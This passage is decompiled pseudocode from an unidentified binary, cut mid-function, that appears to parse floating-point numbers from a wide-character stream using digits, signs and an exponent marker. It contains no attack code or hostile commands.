										_t1052 =  *(_t1257 + 2) & 0x0000ffff;
										_t1257 = _t1257 + 2;
										__eflags = _t1052;
										if(_t1052 == 0) {
											break;
										}
										__eflags = _t1052 - _t1015;
										if(_t1052 != _t1015) {
											continue;
										} else {
											break;
										}
										goto L172;
									}
									_t1259 = _t1257 -  &_v16 >> 1;
									__eflags = _t1259 - 9;
									if(_t1259 <= 9) {
										_t1581 = _a64;
										__eflags = _t1009 - 0x30;
										if(_t1009 < 0x30) {
											__eflags = _t1009;
											if(_t1009 != 0) {
												L59:
												_t1646 = _a88;
												 *_t1646 =  *((intOrPtr*)(_t1259 + "0123456789-+Ee"));
												_a88 = _t1646 + 1;
												__eflags = _t1009 + 1;
											} else {
												__eflags = _t1259;
												if(_t1259 != 0) {
													goto L59;
												} else {
												}
											}
										} else {
											__eflags = _t1259;
											if(_t1259 != 0) {
												_a76 = 1;
											}
											r15d = r15d + 1;
										}
										_t1648 =  *_t1946;
										__eflags = _t1648;
										_a64 = _t1581;
										if(_t1648 == 0) {
											L67:
											 *_t1946 = 0;
											_t862 = 1;
										} else {
											_t1363 =  *((intOrPtr*)(_t1648 + 0x38));
											_t1808 =  *_t1363;
											__eflags = _t1808;
											if(_t1808 == 0) {
												L64:
												_t865 =  *((intOrPtr*)( *_t1648 + 0x40))();
											} else {
												_t1885 =  *((intOrPtr*)(_t1648 + 0x50));
												_t1110 =  *_t1885;
												__eflags = _t1110;
												if(_t1110 <= 0) {
													goto L64;
												} else {
													 *_t1885 = _t1110 - 1;
													 *_t1363 =  &(_t1808[1]);
													_t865 =  *_t1808 & 0x0000ffff;
												}
											}
											__eflags = (_t865 & 0x0000ffff) - 0xffff;
											if((_t865 & 0x0000ffff) == 0xffff) {
												goto L67;
											} else {
												_t862 = 0;
											}
										}
										 *(_t1946 + 8) = _t862;
										_t1009 = 1;
										continue;
									}
								}
							}
							_a80 = 0;
							goto L172;
						}
					} else {
						__eflags = _t804;
						if(_t804 <= 0) {
							goto L50;
						} else {
							__eflags = _v40;
							if(_v40 == 0) {
								_a64 = _t1256;
								_t806 = 0;
								__eflags = 0;
								_a80 = _t1256;
							} else {
								_t1879 = _t1596;
								_t1566 =  *_t1573;
								 *((intOrPtr*)(_t1566 + 0x28))();
								_a80 = _t1566;
								_t806 = 0;
								_a64 = _t1566;
								_t1596 = _t1879;
							}
							_v72 = _t1596;
							_t1959 =  &_a24;
							_a24 = 0;
							asm("movaps xmm0, [0x37018]");
							asm("movups [ebp+0x28], xmm0");
							_a76 = 0;
							_t1009 = 0;
							_a100 = 0;
							r15d = 0;
							while(1) {
								_t1651 =  *_t1946;
								_t1112 = 0;
								__eflags = _t1651;
								_t1067 = 0;
								if(_t1651 == 0) {
									goto L132;
								}
								L127:
								_t1557 =  *((intOrPtr*)( *((intOrPtr*)(_t1651 + 0x38))));
								__eflags = _t1557;
								if(_t1557 == 0) {
									L130:
									_t993 =  *((intOrPtr*)( *_t1651 + 0x38))();
									_t1933 = _a56;
								} else {
									__eflags =  *( *(_t1651 + 0x50));
									if( *( *(_t1651 + 0x50)) <= 0) {
										goto L130;
									} else {
										_t993 =  *_t1557 & 0x0000ffff;
									}
								}
								_t806 = _t993 & 0x0000ffff;
								_t1067 = 0;
								__eflags = (_t993 & 0x0000ffff) - 0xffff;
								dil = (_t993 & 0x0000ffff) != 0xffff;
								__eflags = dil;
								L132:
								_t1652 =  *_t1933;
								__eflags = _t1652;
								if(_t1652 != 0) {
									_t1554 =  *((intOrPtr*)( *((intOrPtr*)(_t1652 + 0x38))));
									__eflags = _t1554;
									if(_t1554 == 0) {
										L136:
										_t992 =  *((intOrPtr*)( *_t1652 + 0x38))();
										_t1933 = _a56;
									} else {
										__eflags =  *( *(_t1652 + 0x50));
										if( *( *(_t1652 + 0x50)) <= 0) {
											goto L136;
										} else {
											_t992 =  *_t1554 & 0x0000ffff;
										}
									}
									_t806 = _t992 & 0x0000ffff;
									_t1112 = 0;
									__eflags = (_t992 & 0x0000ffff) - 0xffff;
									sil = (_t992 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t1067 - _t1112;
								if(_t1067 == _t1112) {
									L153:
									__eflags = _t1966;
									if(_t1966 == 0) {
										_a80 = 0;
										goto L167;
									} else {
										__eflags = _a48 - 0xf;
										_t1368 =  <=  ? _t1959 : _a24;
										_t1056 =  *((intOrPtr*)(_t1368 + _t1966));
										_t806 = 0;
										__eflags = _t1056;
										_t1030 = _t1014 & 0xffffff00 | _t1056 > 0x00000000;
										__eflags = _t1056;
										_t159 = _t1056 <= 0;
										__eflags = _t159;
										_a80 = _t1056 & 0xffffff00 | _t159;
										if(_t159 <= 0) {
											L167:
											_t1365 = _a48;
										} else {
											_t806 = _t1030;
											_t1970 = _t1966 + _t1368;
											__eflags = _t1970;
											if(_t1970 == 0) {
												goto L167;
											} else {
												_t1365 = _a48;
												__eflags = _t1365 - 0xf;
												_t1960 =  >  ? _a24 : _t1959;
												_t1654 = _v72;
												while(1) {
													_t1886 = _t1654;
													_t1031 =  *_t1654 & 0x000000ff;
													__eflags = _t1031 - 0x7f;
													if(_t1031 == 0x7f) {
														break;
													}
													__eflags = _t1970 - 1;
													_t1058 =  *(_t1960 + _t1970 - 1) & 0x000000ff;
													if(_t1970 != 1) {
														__eflags = _t1031 - _t1058;
														if(_t1031 != _t1058) {
															goto L321;
														} else {
															goto L162;
														}
													} else {
														__eflags = _t1031 - _t1058;
														if(_t1031 >= _t1058) {
															L162:
															_t1970 = _t1970 - 1;
															_t1654 = _t1886;
															__eflags =  *(_t1654 + 1);
															if( *(_t1654 + 1) > 0) {
																_t1654 = _t1654 + 1;
																__eflags = _t1654;
															}
															__eflags = _t1970;
															if(_t1970 != 0) {
																continue;
															} else {
																break;
															}
														} else {
															L321:
															_a80 = 1;
														}
													}
													goto L168;
												}
												_a80 = 0;
											}
										}
									}
									L168:
									__eflags = _t1365 - 0x10;
									r15d = _a100;
									if(_t1365 >= 0x10) {
										_t1653 = _a24;
										__eflags = _t1365 + 1 - 0x1000;
										if(_t1365 + 1 >= 0x1000) {
											_t1653 =  *((intOrPtr*)(_t1653 - 8));
										}
										_t806 = E00402090(_t806, _t1653);
									}
									L172:
									_t1600 =  *_t1946;
									_t1094 = 0;
									__eflags = _t1600;
									_t1070 = 0;
									_a100 = r15d;
									if(_t1600 != 0) {
										_t1352 =  *((intOrPtr*)( *((intOrPtr*)(_t1600 + 0x38))));
										__eflags = _t1352;
										if(_t1352 == 0) {
											L176:
											_t860 =  *((intOrPtr*)( *_t1600 + 0x38))();
											r15d = _a100;
										} else {
											__eflags =  *( *(_t1600 + 0x50));
											if( *( *(_t1600 + 0x50)) <= 0) {
												goto L176;
											} else {
												_t860 =  *_t1352 & 0x0000ffff;
											}
										}
										_t806 = _t860 & 0x0000ffff;
										_t1070 = 0;
										__eflags = (_t860 & 0x0000ffff) - 0xffff;
										dil = (_t860 & 0x0000ffff) != 0xffff;
										__eflags = dil;
									}
									_t1601 =  *_t1933;
									__eflags = _t1601;
									if(_t1601 != 0) {
										_t1349 =  *((intOrPtr*)( *((intOrPtr*)(_t1601 + 0x38))));
										__eflags = _t1349;
										if(_t1349 == 0) {
											L182:
											_t859 =  *((intOrPtr*)( *_t1601 + 0x38))();
											r15d = _a100;
										} else {
											__eflags =  *( *(_t1601 + 0x50));
											if( *( *(_t1601 + 0x50)) <= 0) {
												goto L182;
											} else {
												_t859 =  *_t1349 & 0x0000ffff;
											}
										}
										_t806 = _t859 & 0x0000ffff;
										_t1094 = 0;
										__eflags = (_t859 & 0x0000ffff) - 0xffff;
										sil = (_t859 & 0x0000ffff) != 0xffff;
										__eflags = sil;
									}
									__eflags = _t1070 - _t1094;
									if(_t1070 == _t1094) {
										L201:
										__eflags = _a64;
										if(_a64 == 0) {
											goto L211;
										} else {
											goto L202;
										}
									} else {
										__eflags =  *(_t1946 + 8);
										_t1883 = _v88;
										if( *(_t1946 + 8) == 0) {
											_t1644 =  *_t1946;
											__eflags = _t1644;
											if(_t1644 == 0) {
												L193:
												 *_t1946 = 0;
											} else {
												_t1346 =  *((intOrPtr*)( *((intOrPtr*)(_t1644 + 0x38))));
												__eflags = _t1346;
												if(_t1346 == 0) {
													L190:
													_t858 =  *((intOrPtr*)( *_t1644 + 0x38))();
												} else {
													__eflags =  *( *(_t1644 + 0x50));
													if( *( *(_t1644 + 0x50)) <= 0) {
														goto L190;
													} else {
														_t858 =  *_t1346 & 0x0000ffff;
													}
												}
												__eflags = (_t858 & 0x0000ffff) - 0xffff;
												if((_t858 & 0x0000ffff) == 0xffff) {
													goto L193;
												} else {
													 *(_t1946 + 0xa) = _t858;
												}
											}
											 *(_t1946 + 8) = 1;
										}
										_t1341 =  *_t1883;
										_t806 =  *((intOrPtr*)(_t1341 + 0x20))();
										__eflags = ( *(_t1946 + 0xa) & 0x0000ffff) - _t806;
										if(( *(_t1946 + 0xa) & 0x0000ffff) != _t806) {
											r15d = _a100;
											goto L201;
										} else {
											E0043DFF0(_t806);
											 *_a88 =  *((intOrPtr*)( *_t1341));
											_t1642 =  *_t1946;
											__eflags = _t1642;
											r15d = _a100;
											if(_t1642 == 0) {
												L206:
												 *_t1946 = 0;
												_t806 = 1;
											} else {
												_t1343 =  *((intOrPtr*)(_t1642 + 0x38));
												_t1804 =  *_t1343;
												__eflags = _t1804;
												if(_t1804 == 0) {
													L203:
													_t856 =  *((intOrPtr*)( *_t1642 + 0x40))();
													r15d = _a100;
												} else {
													_t1884 =  *((intOrPtr*)(_t1642 + 0x50));
													_t1108 =  *_t1884;
													__eflags = _t1108;
													if(_t1108 <= 0) {
														goto L203;
													} else {
														 *_t1884 = _t1108 - 1;
														 *_t1343 =  &(_t1804[1]);
														_t856 =  *_t1804 & 0x0000ffff;
													}
												}
												__eflags = (_t856 & 0x0000ffff) - 0xffff;
												if((_t856 & 0x0000ffff) == 0xffff) {
													goto L206;
												} else {
													_t806 = 0;
												}
											}
											_a88 = _a88 + 1;
											 *(_t1946 + 8) = _t806;
											__eflags = _a64;
											if(_a64 != 0) {
												L202:
												r14d = _t1009;
											} else {
												while(1) {
													L211:
													_t1602 =  *_t1946;
													_t1095 = 0;
													__eflags = _t1602;
													_t1071 = 0;
													if(_t1602 == 0) {
														goto L217;
													}
													_t1331 =  *((intOrPtr*)( *((intOrPtr*)(_t1602 + 0x38))));
													__eflags = _t1331;
													if(_t1331 == 0) {
														L215:
														_t851 =  *((intOrPtr*)( *_t1602 + 0x38))();
													} else {
														__eflags =  *( *(_t1602 + 0x50));
														if( *( *(_t1602 + 0x50)) <= 0) {
															goto L215;
														} else {
															_t851 =  *_t1331 & 0x0000ffff;
														}
													}
													_t806 = _t851 & 0x0000ffff;
													_t1071 = 0;
													__eflags = (_t851 & 0x0000ffff) - 0xffff;
													dil = (_t851 & 0x0000ffff) != 0xffff;
													__eflags = dil;
													L217:
													_t1603 =  *_t1933;
													__eflags = _t1603;
													if(_t1603 != 0) {
														_t1334 =  *((intOrPtr*)( *((intOrPtr*)(_t1603 + 0x38))));
														__eflags = _t1334;
														if(_t1334 == 0) {
															L221:
															_t850 =  *((intOrPtr*)( *_t1603 + 0x38))();
														} else {
															__eflags =  *( *(_t1603 + 0x50));
															if( *( *(_t1603 + 0x50)) <= 0) {
																goto L221;
															} else {
																_t850 =  *_t1334 & 0x0000ffff;
															}
														}
														_t806 = _t850 & 0x0000ffff;
														_t1095 = 0;
														__eflags = (_t850 & 0x0000ffff) - 0xffff;
														sil = (_t850 & 0x0000ffff) != 0xffff;
														__eflags = sil;
													}
													__eflags = _t1071 - _t1095;
													if(_t1071 != _t1095) {
														__eflags =  *(_t1946 + 8);
														if( *(_t1946 + 8) == 0) {
															_t1639 =  *_t1946;
															__eflags = _t1639;
															if(_t1639 == 0) {
																L232:
																 *_t1946 = 0;
															} else {
																_t1339 =  *((intOrPtr*)( *((intOrPtr*)(_t1639 + 0x38))));
																__eflags = _t1339;
																if(_t1339 == 0) {
																	L229:
																	_t849 =  *((intOrPtr*)( *_t1639 + 0x38))();
																} else {
																	__eflags =  *( *(_t1639 + 0x50));
																	if( *( *(_t1639 + 0x50)) <= 0) {
																		goto L229;
																	} else {
																		_t849 =  *_t1339 & 0x0000ffff;
																	}
																}
																__eflags = (_t849 & 0x0000ffff) - 0xffff;
																if((_t849 & 0x0000ffff) == 0xffff) {
																	goto L232;
																} else {
																	 *(_t1946 + 0xa) = _t849;
																}
															}
															 *(_t1946 + 8) = 1;
														}
														_t806 =  *(_t1946 + 0xa) & 0x0000ffff;
														__eflags = ( *(_t1946 + 0xa) & 0x0000ffff) - _v16;
														if(( *(_t1946 + 0xa) & 0x0000ffff) == _v16) {
															_t1637 =  *_t1946;
															__eflags = _t1637;
															if(_t1637 == 0) {
																L242:
																 *_t1946 = 0;
																_t806 = 1;
																goto L209;
															} else {
																_t1336 =  *((intOrPtr*)(_t1637 + 0x38));
																_t1800 =  *_t1336;
																__eflags = _t1800;
																if(_t1800 == 0) {
																	L239:
																	_t852 =  *((intOrPtr*)( *_t1637 + 0x40))();
																} else {
																	_t1882 =  *((intOrPtr*)(_t1637 + 0x50));
																	_t1105 =  *_t1882;
																	__eflags = _t1105;
																	if(_t1105 <= 0) {
																		goto L239;
																	} else {
																		 *_t1882 = _t1105 - 1;
																		 *_t1336 =  &(_t1800[1]);
																		_t852 =  *_t1800 & 0x0000ffff;
																	}
																}
																__eflags = (_t852 & 0x0000ffff) - 0xffff;
																if((_t852 & 0x0000ffff) == 0xffff) {
																	goto L242;
																} else {
																	_t806 = 0;
																	L209:
																	 *(_t1946 + 8) = _t806;
																	_a8 = _t806;
																	r15d = r15d - 1;
																	__eflags = r15d;
																	_t1009 = 1;
																	continue;
																}
															}
														}
													}
													r14d = _t1009;
													__eflags = r15d;
													if(r15d < 0) {
														_t1328 = _a88;
														 *_t1328 = 0x30;
														_a88 = _t1328 + 1;
														r15d = r15d + 1;
														__eflags = r15d;
													}
													_a100 = r15d;
													goto L246;
												}
											}
										}
									}
									L246:
									_t1967 =  &_v18;
									_t1574 = _a88;
									while(1) {
										_t1604 =  *_t1946;
										_t1096 = 0;
										__eflags = _t1604;
										_t1072 = 0;
										if(_t1604 == 0) {
											goto L267;
										}
										_t1324 =  *((intOrPtr*)( *((intOrPtr*)(_t1604 + 0x38))));
										__eflags = _t1324;
										if(_t1324 == 0) {
											L265:
											_t848 =  *((intOrPtr*)( *_t1604 + 0x38))();
										} else {
											__eflags =  *( *(_t1604 + 0x50));
											if( *( *(_t1604 + 0x50)) <= 0) {
												goto L265;
											} else {
												_t848 =  *_t1324 & 0x0000ffff;
											}
										}
										_t806 = _t848 & 0x0000ffff;
										_t1072 = 0;
										__eflags = (_t848 & 0x0000ffff) - 0xffff;
										dil = (_t848 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L267:
										_t1605 =  *_t1933;
										__eflags = _t1605;
										if(_t1605 != 0) {
											_t1321 =  *((intOrPtr*)( *((intOrPtr*)(_t1605 + 0x38))));
											__eflags = _t1321;
											if(_t1321 == 0) {
												L271:
												_t847 =  *((intOrPtr*)( *_t1605 + 0x38))();
											} else {
												__eflags =  *( *(_t1605 + 0x50));
												if( *( *(_t1605 + 0x50)) <= 0) {
													goto L271;
												} else {
													_t847 =  *_t1321 & 0x0000ffff;
												}
											}
											_t806 = _t847 & 0x0000ffff;
											_t1096 = 0;
											__eflags = (_t847 & 0x0000ffff) - 0xffff;
											sil = (_t847 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t1072 - _t1096;
										if(_t1072 != _t1096) {
											__eflags =  *(_t1946 + 8);
											if( *(_t1946 + 8) == 0) {
												_t1636 =  *_t1946;
												__eflags = _t1636;
												if(_t1636 == 0) {
													L282:
													 *_t1946 = 0;
												} else {
													_t1318 =  *((intOrPtr*)( *((intOrPtr*)(_t1636 + 0x38))));
													__eflags = _t1318;
													if(_t1318 == 0) {
														L279:
														_t806 =  *((intOrPtr*)( *_t1636 + 0x38))();
													} else {
														__eflags =  *( *(_t1636 + 0x50));
														if( *( *(_t1636 + 0x50)) <= 0) {
															goto L279;
														} else {
															_t806 =  *_t1318 & 0x0000ffff;
														}
													}
													__eflags = (_t806 & 0x0000ffff) - 0xffff;
													if((_t806 & 0x0000ffff) == 0xffff) {
														goto L282;
													} else {
														 *(_t1946 + 0xa) = _t806;
													}
												}
												 *(_t1946 + 8) = 1;
											}
											_t1024 =  *(_t1946 + 0xa) & 0x0000ffff;
											_t1314 = _t1967;
											asm("o16 nop [cs:eax+eax]");
											while(1) {
												_t1054 =  *(_t1314 + 2) & 0x0000ffff;
												_t1314 = _t1314 + 2;
												__eflags = _t1054;
												if(_t1054 == 0) {
													break;
												}
												__eflags = _t1054 - _t1024;
												if(_t1054 != _t1024) {
													continue;
												} else {
													break;
												}
												L311:
												__eflags = _t1010 & 0x00000001;
												_t1261 = _v80;
												_t1954 =  ==  ? _t1261 : _a88;
												__eflags = _a80;
												_t1955 =  !=  ? _t1261 :  ==  ? _t1261 : _a88;
												 *((char*)( !=  ? _t1261 :  ==  ? _t1261 : _a88)) = 0;
												_t1262 = _v32;
												__eflags = _t1262 - 0x10;
												if(_t1262 >= 0x10) {
													_t1606 = _v56;
													__eflags = _t1262 + 1 - 0x1000;
													if(_t1262 + 1 >= 0x1000) {
														_t1606 =  *((intOrPtr*)(_t1606 - 8));
													}
													E00402090(_t806, _t1606);
												}
												return r15d;
												goto L991;
											}
											_t1316 = _t1314 -  &_v16 >> 1;
											__eflags = _t1316 - 9;
											if(_t1316 <= 9) {
												_t1795 = _a64;
												__eflags = _t1054 - 0x2f;
												if(_t1054 > 0x2f) {
													__eflags = _t1316;
													if(_t1316 != 0) {
														_a76 = 1;
													}
												} else {
													 *_t1574 =  *((intOrPtr*)(_t1316 + "0123456789-+Ee"));
													_t1574 = _t1574 + 1;
													_a64 = _t1795;
												}
												_t1633 =  *_t1946;
												__eflags = _t1633;
												if(_t1633 == 0) {
													L259:
													 *_t1946 = 0;
													_t806 = 1;
												} else {
													_t1326 =  *((intOrPtr*)(_t1633 + 0x38));
													_t1799 =  *_t1326;
													__eflags = _t1799;
													if(_t1799 == 0) {
														L256:
														_t843 =  *((intOrPtr*)( *_t1633 + 0x40))();
													} else {
														_t1881 =  *((intOrPtr*)(_t1633 + 0x50));
														_t1103 =  *_t1881;
														__eflags = _t1103;
														if(_t1103 <= 0) {
															goto L256;
														} else {
															 *_t1881 = _t1103 - 1;
															_t236 =  &(_t1799[1]); // 0x2
															 *_t1326 = _t236;
															_t843 =  *_t1799 & 0x0000ffff;
														}
													}
													__eflags = (_t843 & 0x0000ffff) - 0xffff;
													if((_t843 & 0x0000ffff) == 0xffff) {
														goto L259;
													} else {
														_t806 = 0;
													}
												}
												 *(_t1946 + 8) = _t806;
												r14b = 1;
												continue;
											}
										}
										__eflags = _a76 & 0x00000001;
										_a88 = _t1574;
										if((_a76 & 0x00000001) != 0) {
											_t1902 = _t1574 - 1;
											_t1260 = _v24;
											__eflags = _t1902 - _t1260;
											r15d = _a100;
											if(_t1902 == _t1260) {
												L296:
												 *_t1260 = 0x31;
												r15d = r15d + 1;
												__eflags = r15d;
												goto L297;
											} else {
												do {
													_t806 = E0043DFF0(_t806);
													__eflags = ( *_t1902 & 0x000000ff) -  *((intOrPtr*)( *_t1260));
													if(( *_t1902 & 0x000000ff) ==  *((intOrPtr*)( *_t1260))) {
														goto L295;
													} else {
														_t806 =  *_t1902 & 0x000000ff;
														__eflags = _t806 - 0x39;
														_t1010 = r14d;
														if(_t806 != 0x39) {
															 *_t1902 = _t806;
															__eflags = _t1010 & 0x00000001;
															if((_t1010 & 0x00000001) != 0) {
																goto L298;
															} else {
															}
														} else {
															 *_t1902 = 0x30;
															goto L295;
														}
													}
													goto L311;
													L295:
													_t1902 = _t1902 - 1;
													_t1260 = _v24;
													__eflags = _t1260 - _t1902;
												} while (_t1260 != _t1902);
												goto L296;
											}
										} else {
											r15d = _a100;
											L297:
											_t1010 = r14d;
											__eflags = _t1010 & 0x00000001;
											if((_t1010 & 0x00000001) != 0) {
												L298:
												_t1607 =  *_t1946;
												_t1097 = 0;
												__eflags = _t1607;
												_t1073 = 0;
												_a100 = r15d;
												if(_t1607 != 0) {
													_t1311 =  *((intOrPtr*)( *((intOrPtr*)(_t1607 + 0x38))));
													__eflags = _t1311;
													if(_t1311 == 0) {
														L302:
														_t842 =  *((intOrPtr*)( *_t1607 + 0x38))();
														r15d = _a100;
													} else {
														__eflags =  *( *(_t1607 + 0x50));
														if( *( *(_t1607 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t842 =  *_t1311 & 0x0000ffff;
														}
													}
													_t806 = _t842 & 0x0000ffff;
													_t1073 = 0;
													__eflags = (_t842 & 0x0000ffff) - 0xffff;
													dil = (_t842 & 0x0000ffff) != 0xffff;
													__eflags = dil;
												}
												_t1608 =  *_t1933;
												__eflags = _t1608;
												if(_t1608 != 0) {
													_t1308 =  *((intOrPtr*)( *((intOrPtr*)(_t1608 + 0x38))));
													__eflags = _t1308;
													if(_t1308 == 0) {
														L308:
														_t841 =  *((intOrPtr*)( *_t1608 + 0x38))();
														r15d = _a100;
													} else {
														__eflags =  *( *(_t1608 + 0x50));
														if( *( *(_t1608 + 0x50)) <= 0) {
															goto L308;
														} else {
															_t841 =  *_t1308 & 0x0000ffff;
														}
													}
													_t806 = _t841 & 0x0000ffff;
													_t1097 = 0;
													__eflags = (_t841 & 0x0000ffff) - 0xffff;
													sil = (_t841 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
												__eflags = _t1073 - _t1097;
												if(_t1073 != _t1097) {
													__eflags =  *(_t1946 + 8);
													if( *(_t1946 + 8) == 0) {
														_t1631 =  *_t1946;
														__eflags = _t1631;
														if(_t1631 == 0) {
															L327:
															 *_t1946 = 0;
														} else {
															_t1305 =  *((intOrPtr*)( *((intOrPtr*)(_t1631 + 0x38))));
															__eflags = _t1305;
															if(_t1305 == 0) {
																L324:
																_t840 =  *((intOrPtr*)( *_t1631 + 0x38))();
																r15d = _a100;
															} else {
																__eflags =  *( *(_t1631 + 0x50));
																if( *( *(_t1631 + 0x50)) <= 0) {
																	goto L324;
																} else {
																	_t840 =  *_t1305 & 0x0000ffff;
																}
															}
															__eflags = (_t840 & 0x0000ffff) - 0xffff;
															if((_t840 & 0x0000ffff) == 0xffff) {
																goto L327;
															} else {
																 *(_t1946 + 0xa) = _t840;
															}
														}
														 *(_t1946 + 8) = 1;
													}
													_t806 =  *(_t1946 + 0xa) & 0x0000ffff;
													__eflags = _t806 - _a10;
													if(_t806 == _a10) {
														L331:
														_t1957 = _a88;
														 *_t1957 = 0x65;
														_t1609 =  *_t1946;
														__eflags = _t1609;
														if(_t1609 == 0) {
															L341:
															 *_t1946 = 0;
															 *(_t1946 + 8) = 1;
															goto L342;
														} else {
															_t1299 =  *((intOrPtr*)(_t1609 + 0x38));
															_t1790 =  *_t1299;
															__eflags = _t1790;
															if(_t1790 == 0) {
																L335:
																_t836 =  *((intOrPtr*)( *_t1609 + 0x40))();
															} else {
																_t1580 =  *((intOrPtr*)(_t1609 + 0x50));
																_t1079 =  *_t1580;
																__eflags = _t1079;
																if(_t1079 <= 0) {
																	goto L335;
																} else {
																	 *_t1580 = _t1079 - 1;
																	 *_t1299 =  &(_t1790[1]);
																	_t836 =  *_t1790 & 0x0000ffff;
																}
															}
															__eflags = (_t836 & 0x0000ffff) - 0xffff;
															if((_t836 & 0x0000ffff) == 0xffff) {
																goto L341;
															} else {
																_t1629 =  *_t1946;
																 *(_t1946 + 8) = 0;
																__eflags = _t1629;
																if(_t1629 == 0) {
																	L342:
																	_t1098 = 0;
																} else {
																	_t1302 =  *((intOrPtr*)( *((intOrPtr*)(_t1629 + 0x38))));
																	__eflags = _t1302;
																	if(_t1302 == 0) {
																		L343:
																		_t838 =  *((intOrPtr*)( *_t1629 + 0x38))();
																	} else {
																		__eflags =  *( *(_t1629 + 0x50));
																		if( *( *(_t1629 + 0x50)) <= 0) {
																			goto L343;
																		} else {
																			_t838 =  *_t1302 & 0x0000ffff;
																		}
																	}
																	_t1098 = 0;
																	__eflags = (_t838 & 0x0000ffff) - 0xffff;
																	sil = (_t838 & 0x0000ffff) != 0xffff;
																	__eflags = sil;
																}
															}
														}
														_t1610 =  *_t1933;
														__eflags = _t1610;
														if(_t1610 == 0) {
															_t809 = 0;
															__eflags = 0;
														} else {
															_t1297 =  *((intOrPtr*)( *((intOrPtr*)(_t1610 + 0x38))));
															__eflags = _t1297;
															if(_t1297 == 0) {
																L349:
																_t834 =  *((intOrPtr*)( *_t1610 + 0x38))();
															} else {
																__eflags =  *( *(_t1610 + 0x50));
																if( *( *(_t1610 + 0x50)) <= 0) {
																	goto L349;
																} else {
																	_t834 =  *_t1297 & 0x0000ffff;
																}
															}
															__eflags = (_t834 & 0x0000ffff) - 0xffff;
															_t809 = 0 | (_t834 & 0x0000ffff) != 0x0000ffff;
														}
														_t1969 = _t1957;
														_t1958 = _t1957 + 1;
														__eflags = _t1098 - _t809;
														if(_t1098 != _t809) {
															__eflags =  *(_t1946 + 8);
															if( *(_t1946 + 8) == 0) {
																_t1628 =  *_t1946;
																__eflags = _t1628;
																if(_t1628 == 0) {
																	L361:
																	 *_t1946 = 0;
																} else {
																	_t1294 =  *((intOrPtr*)( *((intOrPtr*)(_t1628 + 0x38))));
																	__eflags = _t1294;
																	if(_t1294 == 0) {
																		L358:
																		_t833 =  *((intOrPtr*)( *_t1628 + 0x38))();
																	} else {
																		__eflags =  *( *(_t1628 + 0x50));
																		if( *( *(_t1628 + 0x50)) <= 0) {
																			goto L358;
																		} else {
																			_t833 =  *_t1294 & 0x0000ffff;
																		}
																	}
																	__eflags = (_t833 & 0x0000ffff) - 0xffff;
																	if((_t833 & 0x0000ffff) == 0xffff) {
																		goto L361;
																	} else {
																		 *(_t1946 + 0xa) = _t833;
																	}
																}
																 *(_t1946 + 8) = 1;
															}
															_t829 =  *(_t1946 + 0xa) & 0x0000ffff;
															__eflags = _t829 - _a6;
															if(_t829 != _a6) {
																__eflags = _t829 - _a4;
																if(_t829 == _a4) {
																	_t1578 = _t1969;
																	 *((char*)(_t1578 + 1)) = 0x2d;
																	_t1625 =  *_t1946;
																	__eflags = _t1625;
																	if(_t1625 == 0) {
																		goto L377;
																	} else {
																		_t1290 =  *((intOrPtr*)(_t1625 + 0x38));
																		_t1787 =  *_t1290;
																		__eflags = _t1787;
																		if(_t1787 == 0) {
																			L373:
																			_t831 =  *((intOrPtr*)( *_t1625 + 0x40))();
																			goto L374;
																		} else {
																			_t1904 =  *((intOrPtr*)(_t1625 + 0x50));
																			_t1077 =  *_t1904;
																			__eflags = _t1077;
																			if(_t1077 <= 0) {
																				goto L373;
																			} else {
																				goto L372;
																			}
																		}
																		goto L375;
																	}
																	goto L378;
																}
															} else {
																_t1578 = _t1969;
																 *((char*)(_t1578 + 1)) = 0x2b;
																_t1627 =  *_t1946;
																__eflags = _t1627;
																if(_t1627 == 0) {
																	L377:
																	 *_t1946 = 0;
																	_t830 = 1;
																} else {
																	_t1290 =  *((intOrPtr*)(_t1627 + 0x38));
																	_t1787 =  *_t1290;
																	__eflags = _t1787;
																	if(_t1787 == 0) {
																		L367:
																		_t831 =  *((intOrPtr*)( *_t1627 + 0x40))();
																		L374:
																		_t1578 = _t1969;
																	} else {
																		_t1904 =  *((intOrPtr*)(_t1627 + 0x50));
																		_t1077 =  *_t1904;
																		__eflags = _t1077;
																		if(_t1077 > 0) {
																			L372:
																			 *_t1904 = _t1077 - 1;
																			 *_t1290 =  &(_t1787[1]);
																			_t831 =  *_t1787 & 0x0000ffff;
																		} else {
																			goto L367;
																		}
																	}
																	L375:
																	__eflags = (_t831 & 0x0000ffff) - 0xffff;
																	if((_t831 & 0x0000ffff) == 0xffff) {
																		goto L377;
																	} else {
																		_t830 = 0;
																	}
																}
																L378:
																_t1579 = _t1578 + 2;
																__eflags = _t1579;
																 *(_t1946 + 8) = _t830;
																_t1958 = _t1579;
															}
														}
														_t1010 = 0;
														while(1) {
															_t1611 =  *_t1946;
															__eflags = _t1611;
															_t1099 = 0;
															if(_t1611 == 0) {
																goto L388;
															}
															_t1280 =  *((intOrPtr*)( *((intOrPtr*)(_t1611 + 0x38))));
															__eflags = _t1280;
															if(_t1280 == 0) {
																L386:
																_t825 =  *((intOrPtr*)( *_t1611 + 0x38))();
															} else {
																__eflags =  *( *(_t1611 + 0x50));
																if( *( *(_t1611 + 0x50)) <= 0) {
																	goto L386;
																} else {
																	_t825 =  *_t1280 & 0x0000ffff;
																}
															}
															_t1099 = 0;
															__eflags = (_t825 & 0x0000ffff) - 0xffff;
															sil = (_t825 & 0x0000ffff) != 0xffff;
															__eflags = sil;
															L388:
															_t1612 =  *_t1933;
															__eflags = _t1612;
															if(_t1612 == 0) {
																__eflags = _t1099;
																if(_t1099 != 0) {
																	goto L394;
																} else {
																}
															} else {
																_t1283 =  *((intOrPtr*)( *((intOrPtr*)(_t1612 + 0x38))));
																__eflags = _t1283;
																if(_t1283 == 0) {
																	L392:
																	_t821 =  *((intOrPtr*)( *_t1612 + 0x38))();
																} else {
																	__eflags =  *( *(_t1612 + 0x50));
																	if( *( *(_t1612 + 0x50)) <= 0) {
																		goto L392;
																	} else {
																		_t821 =  *_t1283 & 0x0000ffff;
																	}
																}
																(_t821 & 0x0000ffff) - 0xffff = _t1099 - ((_t821 & 0x0000ffff) != 0xffff);
																if(_t1099 != (_t821 & 0x0000ffff) != 0xffff) {
																	L394:
																	__eflags =  *(_t1946 + 8);
																	if( *(_t1946 + 8) == 0) {
																		_t1624 =  *_t1946;
																		__eflags = _t1624;
																		if(_t1624 == 0) {
